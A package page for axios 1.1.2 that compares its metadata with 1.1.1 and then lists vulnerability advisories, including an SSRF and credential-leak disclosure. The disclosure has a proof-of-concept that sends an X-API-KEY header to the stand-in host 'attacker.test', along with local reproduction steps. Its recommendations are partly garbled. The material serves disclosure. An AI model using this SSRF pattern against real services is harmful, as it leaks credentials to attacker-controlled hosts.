Axios, a widely used promise-based HTTP client for both browser and Node.js environments, released version 1.1.2 shortly after version 1.1.1. Examining the package metadata reveals subtle differences, primarily in the dist section. While both versions maintain an identical file count of 77 within their tarballs, the unpacked size of version 1.1.2 is marginally larger, registering at 1,300,731 bytes compared to 1,300,723 bytes for version 1.1.1. This suggests minor code adjustments or additions. The release dates also indicate a close succession, with version 1.1.2 being published approximately an hour after version 1.1.1.
Crucially, the core dependencies remain unchanged between the two versions. Both rely on the same versions of form-data, proxy-from-env, and follow-redirects, suggesting that these updates might not involve significant changes to the core networking logic. The devDependencies also show no changes, indicating no alterations in the development or testing tools.
For developers using Axios, this close release window and the minor size difference imply that version 1.1.2 likely contains small bug fixes, performance enhancements, or internal adjustments, rather than major feature additions or API breaking changes. While both 1.1.1 and 1.1.2 offer the same core functionalities, upgrading to 1.1.2 is recommended to benefit from any potential refinements and improved stability. Always consult the official changelog for comprehensive details on addressed issues and implemented improvements.
All the vulnerabilities related to the version 1.1.2 of the package
Axios Cross-Site Request Forgery Vulnerability
An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.
axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL
A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463
A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.
Consider the following code snippet:
import axios from "axios";
const internalAPIClient = axios.create({
baseURL: "http://example.test/api/v1/users/",
headers: {
"X-API-KEY": "1234567890",
},
});
// const userId = "123";
const userId = "http://attacker.test/";
await internalAPIClient.get(userId); // SSRF
In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.
It is recommended that:
baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.Follow the steps below to reproduce the issue:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
$ node main.js
this is server2
Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.
baseURL and does not validate path parameters is affected by this issue.